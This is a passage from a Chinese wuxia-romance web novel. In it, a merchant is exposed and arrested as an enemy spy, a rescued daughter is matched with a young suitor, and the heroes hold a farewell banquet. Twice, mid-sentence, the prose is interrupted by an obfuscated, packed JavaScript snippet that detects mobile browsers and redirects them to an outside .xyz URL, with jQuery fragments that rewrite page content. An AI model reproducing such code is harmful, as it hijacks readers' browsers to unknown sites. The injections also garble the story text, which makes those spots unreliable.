看着其他人健步如飞,甚至还特意慢下来等等他,觉得有些受辱,咬着牙跟了下来,自然,跑完了十圈,变成一滩烂泥。 “你先坐着歇一歇,注意看我演示。” 昨晚考虑到了,从基本功开练来不及,不如直接练习防守招式。 叫一个校尉向自己攻过来,向云攸纾演示如何化解。随后慢下来,再演示一次,等到云攸纾喘得差不多,便换为韦祎扮演攻击者,让云攸纾防守。 这位小王爷不是个有天赋的好学生。 第一天早上结束,韦祎心中出现了一个名为后悔的盒子,打开这个盒子,里面就会跳出来一个拿着剑的云攸纾,正被打得哇哇叫。 韦祎认识的人里面,云攸纾他爹——当今皇帝,他大哥——叛国被废的承王,武功都算是过得去,都能装模作样比划几下,这孩子怎么不像呢? 明三和肖丰都不在,他们两个又出门去“寻访”贺顼小姐了。 有肖丰在“帮忙”,明三何时能找得到贺顼,亦在掌握之中。 早饭毕,通过横亘在东西宅中间那道大墙上的门,东宅来了一个屁滚尿流的管事,说是贺老爷带人堵在东宅大门口,二少爷和老夫人正发脾气,求小姐过去解围。 “这就来了,大家各自忙去吧。”罗易站起来,对众人说。 涉事其中,韦祎也带着云攸纾跟着罗易的路线走。 初秋,万物生机未褪,然肃杀将至,浅色衣衫的年轻女子缓步而行,揣着手,一路上翻白眼叹气,一点也不注意形象。 韦祎跟在后面,想着,这些时日,提起父母与弟弟,罗易嬉笑怒骂,从患难与共到反目成仇,中间真是嬉笑怒骂就能度过的吗? 罗易忽然站住,转过头来,挑眉、冷笑,韦祎等人紧急停住脚步,才没有一群人撞作一堆:“怎么着?我实际上非得要对父母亲情渴望得不得了?其实我做出这些成绩来,就是为了感动他们,跟他们和解?” 不管有没有这么想,此时都不能承认,立刻答:“我没有这么想。” “哈哈!知道,逗你呢。” 擦一擦额头上不存在的冷汗,韦祎继续跟着往前走,过了大墙上的门,就是东宅。 东宅和西宅,乍一看,在外部的装潢上没有太大的区别,显然是一个宅子,分家之后,罗易竟然也没在西宅大兴土木。反而是后来才建的西别院占地更广,几乎没有规整的住宅,多景致,屋在景中,景在屋中,罗易也没住在里面,里头住着殷涿、秦琼、云栖等人,员工宿舍。 “贺老板是贵客,前来拜访家父,蓬荜生辉啊!” 罗易的父母、罗曏三人已经一齐站在了厅中,与贺老爷相对而立,罗易到了,势成三角。 贺老爷笑得不阴不阳,刚才已经与罗老夫人吵过一架了,他毕竟年纪大,话说多了喘,于是不欲在吵架上打车轮战,直言说已经找到了罗曏掳掠他女儿的确凿证据,来这里,就是为了让罗家交出罗曏,一同前去对证。 “这怎么可能!”罗易吸一口气铺垫情绪,而后大怒,把东宅客厅中的茶杯茶壶都扫在了地上,骂贺老爷胡说,她相信弟弟罗曏现在已经改好,不可能做出这等事情,绝对不怕前去对证查看,又说罗曏才受了伤,不能走动。 虽然,罗曏受伤正是她授意,“喜闻乐见”让韦祎打的。 这一番怒火看得罗易他爹热泪盈眶,难不成女儿真的有意要与家里重归于好? 捂着屁股一拐一拐的走到罗易身边,拉她的胳膊抹眼泪,罗易一边怒容不改,一边不着痕迹地狠拽自己的袖子。 一番闹剧。 最终,罗易的父亲说自己正发痔,不良于行,不能出门,罗易的母亲则说她要照顾丈夫,也不去。罗曏冲出来说一定要去,端看贺老头如何把亲女儿给自己送上门来。 贺老头引路,带着罗易等众人直往羊花巷而去。 这时,便该陈志出场了。 罗曏这一路走,一路琢磨着,羊花巷里面确实有自己的一间宅子,不过羊花巷里十几间宅,更可能在别人的宅子里,就算在自己的宅里,更是无妨,直接将这美娇娘收下便养着了。 想得意的笑两声,说些混账话,又见韦祎也在队伍里,下巴痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456790|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不行,又想起自己的宝贝已然大事不妙,登时闭了嘴。 昨天跑回了家去,搓弄一番,萎靡依旧,又叫来貌美佳人若干,萎靡依旧。 真栽了!又不敢把这件事告诉给爹娘,心里忐忑不安。 待陈志猫着腰,出现在羊花巷口,罗曏见到他,才眼睛一亮,原来自己这位心腹早就等在了这里。陈志向来机灵,这次的事情,有他在,自己一定不会吃亏。 陈志这人,自幼便身宽,小时候是个小胖子,如今年岁二十有二,正是年轻力壮的时候,更是壮实,这几年有罗曏照拂,吃细粮喝好酒,满面红光,面上的皮肤被太阳一照,油泛泛。 见了家主人,陈志没有迎过来,反而是小眼睛里挤出来几滴清泪,冲到这一群人面前来,扑地跪下,大呼“苦也!”,展开膀子抱住了贺老头的腿。 “小人在此等候贺老板久矣!所见所闻令小人夙夜难眠!实在不忍袖手旁观!只等贺老爷来此,以实情相告!” 壮实的一个大小伙子,用上了真力气去扑一个老者,饶是贺老爷早有准备,依旧心惊肉跳。 “你你你怎么回事!”罗曏捂着下巴,往前冲了几步,口齿不清的喝骂。 哭丧着一张脸,鼻涕眼泪一齐流:“少爷啊!这事儿您办得是实在不对,小人见贺小姐在房中哭了一日一夜,水米不进,实在是不忍心呐!” 韦祎叹气,真是多此一举。罗易亦垂眼,抿着唇忍耐。 这戏,也就只演给罗曏一个人看看,可这里面唯独罗曏,最没用,有什么可演的? 展开一面细骨折扇挡住脸,与韦祎议论:“这人也怪,出卖了原主人,就算是计谋得逞,将来还怎么回来侍候?” “许是拿了钱财便走,或也是燕国奸细。” 一行人拉拉扯扯到了罗曏那间小院大门前,大门是没锁的,里头的几个壮汉看见是陈志带人来,也都抱拳退下。“您让我把贺顼小姐锁在屋内,非要让小姐答应嫁给您,钥匙还在我身上,要不,您亲自把锁给打开,好好与贺小姐道个歉吧!”拿出一把钥匙来,双手捧给罗曏。 罗曏抓过来便摔在陈志身上。 他头上还包着绷带,说话也说不出来,唯有用肢体来表达愤怒。 陈志又在地上给捡起来,连连向众人赔礼,自己拿了钥匙,向那处门锁走去,要用钥匙开门,这钥匙也怪,开了几次也打不开这门,陈志急出了满头的油汗。 韦祎这边的人此时已经觉得看这事情有些无聊了,唯有云攸纾忐忑。罗晏这会儿并没有来,早上他看了云攸纾习武之后就出了门,一来是把钥匙换到贺老爷身上,二来是夹了连夜赶出来的稿子去见话本的原作者。 那位作者正住在东海,是罗晏的老合伙人之一。看书名上的排行可知,正画着的这本已经是系列的第十一本了。 最初罗晏来东海认识了罗易,也是因为前来商议插画的事情,顺路看一看这里的本家。 那会儿,罗易已经过了最艰难的时刻,刚刚开始得志,宅院却还没有分开东、西,因而与罗晏不算患难之交。 只不过,她与父母,是不能同患难不能同富贵的最佳例子。 下面应该是韦祎的任务——打掉贺老爷的随身钱袋,露出里面的大锁钥匙,就会有罗易手下的管事指出来,当众点明贺老爷无耻,用自己女儿的清白嫁祸罗曏。 已经摸出一块碎银子来,在手里掂着,要用这么一块钝器打断贺老爷的钱袋绳子,还不能打到贺老爷的腿。 外面有急而细碎的脚步声,听起来,有十来个人,都穿着薄底子快靴,院内的人恍然未觉,仍在闹。 “下面的戏演不成了,”韦祎向罗易和云攸纾凑过去,“抓他的人来了,一会儿安静些别动别说话。” 后面这句是专门对云攸纾说的,看他浑身紧张得肌肉紧绷,一会儿墙头跳下来人,吓得他做出什么反常举动来,反吓到来抓人的密探,把他也当作贺老爷一伙儿的,伤了他。 果然,话音刚落,十几个穿衙役官衣的捕快,有推门进来的,有从墙头跳下的,为首的竟然还是个熟人——那日坐在密探办公室的留守书生。 密探果然是密探,穿了儒衫就像是书生,穿了官衣就像是捕快。 53. 救人难 一点多余的事情不做,更是一句话也没有,将贺老爷一行人按倒,用随身带着的绳子绑住手,塞住嘴,黑布袋子套了头。分得很清楚,多余的人一个也没有动,只抓贺家的,中间站着陈志,慌了,吓跌在哪里。 为首那位密探老熟人仍旧不说话,只拿眼神看韦祎,韦祎也不说话,微不可见地一点头,老熟人把陈志也照样子捆上,一同带走。 全过程不足一刻钟,一点声音也无,临走时,还不忘把门给关上,把踩掉的瓦片盖回去。 “喔,锁的钥匙还在贺老头袋子里。”韦祎先开口。 罗易摇着扇子笑:“这就是咱们大齐工部的国土司啊,没想到东海大行商贺家,就在这一刻钟之内没了踪影。” 东海也算是罗易的“卧榻之侧”,卧榻之侧有这么一支秘密力量,一时半刻就能让一家子人从此之后再无音讯,产业皆丧,富贵消弭。 旁人目睹,也会觉得不舒服。 “昨个儿他们把贺老爷的几桩生意往来与原有的情报对上了,有实据,才敢这么下手抓人。”韦祎闻得罗易话里的意思,设身处地感受一番,解释。 没想到韦祎能察觉,意料之外,更觉有趣:“无妨,无妨,那我们屋里这位勇士可怎么办?叫人去找锁匠吧。” 一转头,看一眼身后的一个伙计,那伙计立刻一点头,跑了出去。 “不必这么麻烦。”韦祎去捏了捏锁头,铜锁受不住力,机簧颤动,锁舌弹开。 看来从掌力上,似乎不如罗晏的方法更霸道。 昨日来换瑶琴时,罗晏随意动手便把锁头碎裂成好几块。 拿着锁头把玩,稍微再加重手里的内力,锁仍是没有碎裂的迹象,几乎是加到了八成力气,锁才裂开成三瓣。 “出手用这么大的力做什么?”韦祎想想,不累吗? “这锁哪里惹你了?”罗易走过来,“打开了还不够,非要捏碎。” “它是没有惹我,只是试一试如何开锁罢了。” 在那位去“请锁匠”的伙计跑出院子门之前,韦祎就拧开了锁,里面的瑶琴姑娘已经等在门口,走出来给罗易见礼。 绝对听见了,但那伙计还是如常跑了出去。 既然不需要请锁匠,在这个情景下,有什么是需要他去做的? 很明显。 “为何要帮他?” “我帮不了明三,也帮不了贺小姐。”既然都开口问了,罗易便答,“恰逢其会,我也没想到官府会这么快就来抓人。” “无论官府何时出动,贺小姐都会在她爹被抓走之后才被明三发现?” “也许,是这样。” 她要看看明三在知晓贺老头是间谍之后,还要不要救贺顼,救了贺顼,会不会把她也送官。 没作声,但是皱了眉头。 想帮别人还要谋算别人,令人费解。 “岂不是有窝藏北燕间谍的嫌疑?” “我没有。” 对了,昨天送贺顼姑娘,韦祎亲自跟去了,在试试看明三会不会把贺顼交给官府的同时,也试一试韦祎这个当官的会不会把贺顼交给官府密探。 若是这二人当中随便哪个选择去交人,罗易就立刻大方的放手。 相反,若是两个人都选择不去告密,紧张的氛围有利于情愫产生,明三和贺顼姑娘顺理成章便成了一对儿患难鸳鸯,而这对患难鸳鸯也顺理成章变成了韦祎的包袱。 不用太费力气,写一封推荐信,送明三去带着贺顼去京城考武官,就是甩脱这两个包袱的好方法。 这套操作可真是令人不适。 韦祎干不出来把一个可怜姑娘交给密探的缺德好事。 这姑娘又是被爹利用,又是被罗曏欺负,然后家人又被抓了,还要多亏了她被她老爹假装掳走用来阴别人,才没有和家人一起被抓。 若是放在罗晏作画的那一系列女妖话本里面,前半段女主角众叛亲离,要多惨有多惨,中间遇上贵人指点得以保命,后半段就要么修炼成仙女,要么炼成妖怪,或者当上女老板、王妃,开始干一番大事业。 现在,把韦祎拎起来放到了贺顼故事的折中转折点上。 帮忙就是不痛不痒一顺手的事情,不过,哪有这么被逼无奈去帮别人的? “何不直言相告?” “你都猜到了,何须我直言?” 这里面最蒙在鼓里的是贺顼姑娘,半在鼓里的是明三,你韦祎可完全在鼓外面。 罗易也是奇怪了,一个官爷,事情从头至尾没有瞒着他,想帮就帮,不想帮忙就直说,为何他喜欢把自己放在一个被动的位置上。 此时,二人没那么熟悉,并肩而立,各自向外退一步,在中间微微拉开一些距离。 “你利用我的善心。”这句话,韦祎不会好意思说出来的。 “这叫优柔寡断,还是窝囊?”罗易也不会让这句话从嘴里吐出来。 “下午差不多要去救贺顼小姐,去看看?说不定明三决定要把贺顼小姐送官府呢。”罗易说。 “他不会的。”云攸纾加入了对话,“走嘛,韦子隽,下午去看看。” 中午罗晏就回来了,愁眉苦脸夹着一本新的系列书作。 “看来是没能成功解除合作。” “唉,继续画。” “卖得好吗?” “好卖是好卖,书局都要重印好几次。” “你一定不是为了这点稿费。” 听到了贺家事件的原委,明三义愤填膺,贺顼听见了,先是晕了一回,救醒了,呆呆愣着神,眼睛盯着半空中不知何处。 四个人远远站在亭子里看了两刻钟,觉得实在无趣,此处是西别院里的水榭,又怕贺顼等会儿投湖或者是触柱,所以不能走开,直到把明三公子弄来陪着贺顼,这四个人才能走开。 顺理成章地,到了第二天,罗易清晨起来去方便,摸索着打开了门,门前一张惨白惨白的女人脸,这是贺顼,背后是清晨仍有星子无初阳的天空。 几日折腾,贺顼的身量轻了不少,从丰腴美人儿变成了清瘦美人。 倒吸一口凉气,差点喊出来。 捂着心口,“贺小姐,何事啊?” 贺顼魂不守舍,气若游丝:“罗老板,我是来辞行的。” “快进来说,太阳没出来,晨露寒凉。”罗易颤巍巍把她请进来,托着贺顼的手,冰冰凉、轻飘飘,如同捧着一汪冰水。 这情景,这对话,十分像是戏文里幽魂托梦一折。 暗地里掐自己肚子上的软肉一把,哎呦,真疼!看来不是梦,掐哪里不好要掐肚子,这会儿可憋着要赶去茅厕呢。吓这么一大跳都没有出丑,我是不是应该佩服我自己?罗易嘴角抽抽。 站在门口,贺顼不肯往里走了,“承蒙罗老板搭救,贺顼白白活了十七载,竟然不知父亲是……是两面三刀之人,昨日里想了想,顼儿已随家人一同见识过了大齐从南至北的风物,此时了了,算是无憾的。”停住了一会儿,“只是罗老板救我,是白费力气,若是被官府发觉,连累了您。” 这是辞行要去鬼门关啊,罗易眼神向外望一望,很希望此时能有什么人路过,好歹让自己先去个茅厕,再回来劝这位。 太阳都没出来,怎么可能有人来。 “我虚长你几岁,能叫你顼儿妹妹吗?” “罗老板是女中豪杰,往日里从不与我们这些闺阁女流来往,如今我只是一片飘萍而已,罗老板还肯叫我一声妹妹?” 罗易仍然捧着贺顼那只冰水一般的柔荑,人站在门口,门关不上,身上只穿了一件薄绸睡衣,被清晨的凉风吹得直发抖,罗易的手也快结冰了。 “说哪里的话,姐妹之间,叫什么罗老板,你就和明三公子一样,叫我一声姐姐罢!我忙于俗事,从未与姐妹们亲近,一直引以为憾事呢。” 一通猛拽,可算把贺顼给弄进了房间,按住她坐下,先掏出一件衣服披在贺顼身上,再拿出外套给自己披上。 因为身子僵直,衣服披在贺顼身上,很快就滑了下去,罗易把衣裳从椅子缝里捡出来,又披上去,看贺顼没什么反抗的意思,走到前面系上带子。 “俗事,俗事,俗事才是好事,只有男人才能做的事,怎么能说是坏事呢。” 只有男人才能做的什么事?是做生意还是三妻四妾? 与贺顼对话有点吓人,虽然现在她是活的,但眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459853|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放空,身子僵直,说话声音飘在半空中,就怕等会儿子哪句话没说对,一头在自己屋里撞死。 “那个,顼儿妹妹,世上的事情,哪里分什么男女。你有什么想做的事情,告诉姐姐,管它什么男女,姐姐都帮你办了。” 若是她说要大美男陪她就寝,我可就只能去求云栖了,罗易颤抖着想。 “前些日子,我想着要和爹娘吵一架,好让他们放我出门去,自己相看一番青年才俊。”冷笑个不止,“到头来,就可笑了,竟然连爹爹都……” “说起青年才俊,我看也只有明法曹家的三公子还像点样子,妹妹你还说是我救你,我反而是要道歉,若不是我二弟不知轻重,我哪有认识妹妹你的机会呀,都是明三公子,这几天张罗着四处找你,我见着他夜里过了子时才肯回来,第二天刚刚天光就又出门去找你,这才把你找出来。你爹被人捉走,我们又不知道你被藏在了哪里,真的要出危险呢。” 好一会儿,贺顼的声音幽幽传来:“还不如不去救我,一间陋室,饿死冻死,倒也干净。” 罗易现在开始恨自己昨夜为什么要馋嘴,见秦琼从外头的酒楼提了煲鸡汤做夜宵,去讨了一大碗喝,喝过之后觉得胃里暖和了,回房里没有等,洗漱后很快昏昏睡去。 搞得现在内急。 事情也急,虽然说谋划得不错,可这里面也有个连罗易都绝对不想碰到的可能性,那就是明三和贺顼这两个人彼此无意,明三倒是轻松,拍拍屁股也就走了,贺顼怎么办?让罗易把她送官府? 罗易也干不出来这个害人事。 没法送官府,要救人救到底,包她一辈子。 那就搞砸了。 “他救了我两次。”贺顼说,“若是这一切都没发生,说不定我和他……” 话音未落,二人都听见了外面脚步乱响,好像又有什么人在喊。 声音逐渐靠近主屋,罗易起身,意图开门看看,不管是谁,快来给自己解围才是真的。 向外推开一条缝隙,外面一个大力传来,砰地把门反推合上,震得毫无防备的罗易往后一跳,险些夹到手指头。 “何人擅闯!” “是子隽?”罗易听见门外有人厉喝。 “韦公子,是我啊,我是明三!”明三衣衫不整,头发披散,慌里慌张。 “大清早的,你为何在宅中乱撞?”韦祎在正面看清人脸,收了敌意,声音也缓和下来。 “贺小姐不见了,我,我怕她再有个三长两短,一时情急才四处招呼,绝没有搅扰贵宅的意思!” “不见了?可能是不熟悉宅子的路径,我们一起找找。” “别找了,子隽你让开点,别挡着门了。”罗易在门里面拍一拍。 门一打开,罗易跳着脚冲出去,一边飞奔一边恶狠狠道:“子隽,明三,我可真是谢谢你们!” “啊!贺姑娘!原来你在罗老板这里!”看到了贺顼,明三冲进房间,“手怎么这样凉!” 韦祎站在罗易房间的门口。刚才睡梦里听见宅子内有响动,于是立刻跳起来,跟上了在宅内乱窜的人,一直跟到了这里,见罗易要推门出来,才现身阻挡。 “好冷!”抖三抖,韦祎此时也只穿着一件睡衣,拎着剑。主人家没有请,就走进女子卧房之内,不太好,站在外面,又实在是冷。 就这么走了,好像也有些煞风景,明三和贺顼还在房内呢。 对了,罗易跑那么急,是做什么去了?会不会另外有什么急事? 就在韦祎想要轻身跃起,跟上罗易的时候,终于想起,姑娘当然也有急着去方便的时候。 于是换了个方向,犹犹豫豫挪回自己房间内,盖好被子躺下。 在外面冻了有一炷香的时间,上蹿下跳的,根本就是彻底清醒了睡不着,“我怎么能自己一个人睡不着呢?” 于是,借着晨曦的微光,欠缺天赋的云攸纾又被拉起来练习剑术的防守,今天的体能训练有所增幅,从跑十圈上升到了十三圈,外加扎马步练习基础拳法一炷香。 “韦子隽!我们什么时候出发?应该尽快出发,否则会误了出使的时间!”晨练完毕,赖着最不想出发的云攸纾改变了主意。 54. 栖莺馆 当日下午,明三公子终于与贺顼互诉衷肠,两人在那里激动万分,又喜又泣。 韦祎、罗易、罗晏还有云攸纾在旁边看了,深刻地感受到,一旦知道了太多幕后信息,看到再激动人心的场景都没办法投入共情。 当明三说出,他要回家去请父母下聘礼的时候,罗易终于出面喊停,把他给拉住。 还能把窝藏间谍家属的事情告诉给州法曹吗? 韦祎找肖丰打听了,明三的武功能被肖丰说一句“不错”,那便是真的还不错,肖丰连夸韦祎都不夸。好在文治没落下,早已进学为秀才,书能看进去,布阵、兵法都懂一些,个人意愿极强,是个做军官的好人选。 马上开战,正需要志向在此的青年。 把明三这个麻烦也甩给三表姐夫,他会过手查一查贺顼是否和她爹爹一样与燕国有瓜葛,若是有,顺手处置,若是没有,应该会给她换一份身份文牒,从此就干净了。 三表姐夫可比韦祎古道热肠,这些事情不用愁。 将信件写好,揣在袖子里,没得机会给他。 罗易这几天没闲着,紧锣密鼓地为远行做准备。 至此,上上下下都已经安排明白,看到后院几辆马车备好,行李都已经装进了车里,只待明日出发。 告别的宴席要有,家里没厨子了,当然没法摆在家里。 摆在了栖莺馆。 是云栖的地方,面子上讲,大东家把宴席摆在这儿是赏光,于是占了景致最佳,装潢最贵的大雅室,能摆下五张圆桌,内部还有几间卧室、观景台、盥洗间。 私底下,云栖也知道,是因为家里没饭。 践行宴,能去的人都去了。 夜里,站在上上下下亮着红灯笼飘着红绸子的一条街里头,风姿绰约男女数量对半的……风俗业工作者们正招揽生意。栖莺馆相对高端多了,不需要花魁们门口来站着,门口是衣衫整洁利落,说话整整齐齐的一排迎宾小厮。 “你为何面色有异?”罗晏小声问,“别告诉我你没来过红灯街。” “常来。”韦祎据实以告知。 罗易和云攸纾都扭过头来看着他。 “常常来抓人牙子,抓拐子,抓禁药,抓情报贩子。” 抓情报贩子是在金吾卫时的工作,常有刺客间谍把联络点安在妓院里,于是金吾卫校尉们也要一个月跑十几次各大小青楼楚馆。 其他几项都是城防军的日常事务。 “默存啊。”罗易忽然站住。 “小姐,何事?”云栖走在后面,赶了上来,问。 “你也听见了,我们没干过这些事情吧!” 云栖当着大家的面翻了个白眼,“没有。” 人家长得漂亮,翻白眼风情万种。 青楼,说熟悉也很熟悉,从建筑构造到运营方式再到衍生出去的各类用途与隐患,韦祎都熟悉,但是要说进来纯粹赴宴,好像是第一遭。 和在棋馆时差不多,总想要警觉起来四处观望。 上首,当然要请云攸纾去坐,两侧是韦祎和罗晏,接下来是明三公子与罗易对坐,明三身边是贺顼,罗易身边是褚先生。 本想请肖丰也坐第一桌,但肖丰不想,于是让云栖来第一桌的末位陪坐,云栖也不愿意,这是夜里,营业呢,他忙。最终是殷涿在第一桌末座作陪。 除了这一桌,另外抬来了一个大方桌放在下首,这次推了肖丰坐首位,客座一边坐了那一排校尉,右边依次坐着岑松风、大镖头、朱愈、尹璋之、秦琼、云栖等人。这几个人熟悉,按照职位来讲,大镖头要矮其他人一级,不过大镖头年纪长,因而推举他坐仅次于岑松风的第二位。 云栖坐在最末尾其实是因为外面可能有事情需要他,防备着往来出入。 就算是明三再粗心,也该体会到座次里面的问题。 昨日罗晏介绍云攸纾和韦祎时,先说的就是“平公子”。他一直以为,韦祎应该是罗易的未婚夫之类的,而那位平公子,看起来像是韦祎的表弟。 今天再看,让一个年纪最小的孩子坐在主位上,难不成是罗氏的什么尊贵人物? 也不对,罗氏年轻一辈里面最有地位的就是大族少主了,少主也在啊。 这平公子和韦公子,是个什么身份? 不禁联想到了某种可能性,心下竟然掩不住狂喜。 贺顼看这座次,觉得有趣。在家里吃饭,赶上大日子,或是人稍微多一些的时候,都要男女分开来坐,中间用屏风隔开。姑嫂姐妹们从左边进来,给长辈们请安,吃了饭,要从左边退出去,男子则在右侧,双方从头到尾见不着,给异性的老人家问安都要隔着屏风。 “平时都是常常见面的,为何赶上大日子却要隔开?”贺顼曾经问过。 得到的答复是,这就是大户人家的礼节,男女不同席,若是不这样便要被人笑话的,“其实是为了你们这些女孩子,顼儿你将来到了婆家,做掌事少夫人,这些礼节必须要会的,可别丢我们贺家的脸面。” 家里摆戏台唱堂会宴请宾朋,未出阁的女孩儿都不能去看戏,只有老夫人可以被请到前头。于是姐姐妹妹们常常相约,爬到附近的高处去,偷偷地看。这就是那次遇到了罗曏被骚扰的原因。 这些规矩,贺顼不解,但长辈教导这是面子,只好遵守。 这东海罗氏出身徽州罗氏大族,生意做得比我家还大,为何对这些礼节毫不在意,不仅不用屏风隔开,还要男男女女坐一桌子,家中长辈也不请来,更过分的是,竟然带着女客进红灯街赴宴。 贺顼可是头一次来红灯街,也是头一次坐在这样的席面上。 并没有觉得不自在,右侧就是救命恩人明三公子,左边虽然是一位不认识的男子,但这男子不仅生得温润俊美,行为举止更是让人如沐春风,没一点不适。 也许从今天往后,生活会大有不同。 但韦祎不太自在,罗易并没有拍拍手叫出来一大群美女来“伺候”,菜色精致,入口鲜美,却还是觉得坐在青楼里面挺怪的。 “还有一件好消息要告诉你们两个,锥处囊中必能出头,这就正有个机会给明三公子,还有顼儿妹妹,若是愿往,日后就是明夫人,不必再为此前的事情发愁。” “啊?”贺顼怔忡一下,听到了明夫人三个字,稍有慌乱,“哎呀,罗姐姐说什么呢?” “看看你个小丫头,这就红了脸了?”罗易打趣,并在桌子底下推了一把罗晏,罗晏会意伸腿,一脚踢到对面的韦祎。 “喔!明三公子啊,这封信给你,你可以去京城找江畔大人,他给你安排。” 信是家信的样式,已经封好了,收信人是工部江畔大人,后面还有个或,或者柳府掌家三姑娘柳鼒,这二位当然是夫妻关系。 京城柳府谁不知道啊,柳仆射是中书省的大长官,是宰相之一啊,隐隐有一人之下的情势,炙手可热。地方官员去京城述职,都以去柳府拜会为荣,若有谁是柳仆射的门生,更是不得了。 落款:弟韦祎。 官场上称兄道弟不会写到信件落款上,既然家信里写了是弟,那就是有血缘,与柳家有血缘的,必定不是俗人。 结合“平公子”来看,隐约想到柳家有一位贵妃呢,难道那位平公子,竟然是皇子吗! 能陪皇子微服出游,又与柳家有关系,武艺超凡脱俗,一定是个大将军。 怪不得前个儿与他们一起吃饭,平公子讲他爹的坏处,这几个人脸色都不太对,那可是皇帝,纵使严厉了些,也不能讲他不好! 慌忙站起来,双手接过信便拜。 “这是做什么?快收起来。”韦祎无奈制止他,故作神秘悄声道:“保密,要保密的。” 既然已经体会了要保有一定想象空间的必要性,韦祎不欲把真实情况讲给明三,猜着他脑子里想象出来的情节,一定比真实情况有趣多了。 “是是是!”明三仍然屁股坐不住椅子,“太感谢韦,呃,韦公子!” “无妨,无妨,终究要看你的本事,不过我想你是没问题的。”韦祎敷衍他。 “不知明法曹那边如何是好?”罗易问。 “无妨,我爹两三个月才会问起我一次,我留一封家书放在房里,等他想起了,我都到了京城了。”想到未来一片光明,明三立刻想出了对付他爹的办法。 “哈哈,好,我看便尽快出发,以防夜长梦多。”罗易说。 “小弟今晚就去收拾,明天能与罗姐姐一起出发呢。” “那你们正好与我堂哥顺路,可以一起走上一天。” 宴是好宴,宾主尽欢,吃过了这一顿饭,那几个校尉都要与秦琼朱愈等人拜把子,若不是韦祎不准他们在行军期间饮酒,这顿饭就更尽兴了。 到了夜里,韦祎还留意着等芜夙。 “可算要出发了。” “你往哪里去?” “有小易向西走,我就要一路往北走,先去盐郡,再往北,不过不用再去京城。”罗晏答,“你把那个明三安排到哪里去了?” “若是三姐夫查他们两个底细没有问题,信里还装着另一封给我岳丈的,让他找魏家军参加考试去。”明三渴求的是出战,与燕国的的一战,魏家军一定会派队伍去北方边境,说不定现在已经在做准备了,而像京城城防军这种队伍就一定不会派人出战。 “本来是想举荐周冲,周冲用不上了,正好又冒出个人来顶上。” “喔,是了,我还想着你得等到什么时候才会把你手下那几个给安排了,跟着你在养老衙门窝着,都要窝废了。” “安排了。” “池将军那位置挺合适,琐碎事他比你做得来。周将军安排的也挺合适,魏国公为人豪爽,不会兜圈子。” “是见 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若是那天明三公子坏肚子窜稀,没赶上赴接风贺颂的场子,那就遇不到罗曏轻薄贺顼的事情,也遇不上韦祎,罗易也想不起来给他牵线搭桥,那就没办法拿到推荐信上京城去考武官、当将军,可能真要沦落成纨绔,吃喝嫖赌度日。 “世道如此,与各国比一比,要属我大齐选官最为公平,无论文官武官,都要考试,寒门子弟也有机会,明三是他爹不好,只能拿你弥补。” 相对公平里头也有大不公,韦祎一向不愿意凑这些官员权贵们的圈子,“我还给他当回爹。” 罗晏抬杠:“真觉得现状仍有不妥,那你去当权,把规定给改了,你又不是没资源干这事儿。” “不想。” “当掌局人,得先入局。” 别人想入局进不去,我身在局中却想着出来,是不是不应该?而罗晏,他可能是已经决定要去做一方掌局人了。 他做决定的速度和他的轻功一样快。 “对了,就算帮了别人是好事,为何,逸希要把他们蒙在鼓里?” “停,问别的也罢了,你俩的事儿我可参谋不了,两头不得好。”一晃的功夫,罗晏就跑了,果然擅长逃跑,追不上。 好,那就去找罗易。 “子隽?还没有歇息啊,快请进。”罗易开门。 控制住自己的眼睛不要乱看,拘谨地坐在了客厅里,就是今天清晨贺顼坐的那个位置,靠近门口。 不得不说,仅就韦祎目所能及的范围来判断,这房间里没有什么强烈的女性特征,正对卧室大门的那面墙上,挂着巨幅的画。 “狸猫的图鉴,有意思吧。”罗易沏茶,端一碗给韦祎,“符怜说要挂一幅画才气派,我找人画的。” “很特别。” 乍一看,是一副繁华街市景象,人流熙攘、千姿百态,最东侧是大海,翻起波涛,有的船只正在下锚靠岸,有的船只刚刚扬帆起航。 仿照东海郡大码头而画,街市上有吹糖人炸鱼丸的商贩、走方的郎中、算命的道士、卖菜的、屠猪的、打铁的,背着包裹进城的,推车的,抬轿子的,逛街买菜的,约莫一幅画里有五百以上的人物,也不能说是人物,因为都是穿着衣服的狸猫。 “仔细看看,里面藏了三只狐和一只犬,你多久才能找出来?” “嗯,第一只狐狸在桥上挑担子,第二只在井边汲水,牵着两头驴,第三只是个船工,绑着红头巾,正在拉帆。犬是那个巡查的,穿着酱色捕快官衣。” “好厉害!” 当然,这点眼力都没有,怎么百步穿杨? 罗易问:“有多少人能一眼分出众猫里面的犬,我猜没多少。你在深夜来我房间,不是为了喝茶看画。” “如果你想帮明三公子,我们是朋友,你可以直接告诉我,也可以告诉明三,遇见我是个机会。” “首先,我没有要求你给他写推荐信,我与他没什么交情,也没有很想帮他。其次,如果明三知道了你是个可以给他写推荐信的朝中贵人,那么,接下来他表现得热心救助贺顼小姐,甚至愿意带着贺顼一同去京城,那还能信吗?” 如果明三早就知道韦祎是个贵人,至少,他一定不会把自己去赌角斗的事情大肆宣扬。 再坦率的人,遇到利益相关,都会选择性的展示对自己有利的那一面。 “你是为了他真心救贺顼?” “也不是,贺顼就更顺便了,不客气的讲,他们两个对我来说,什么都不是。” “为了试探我?” 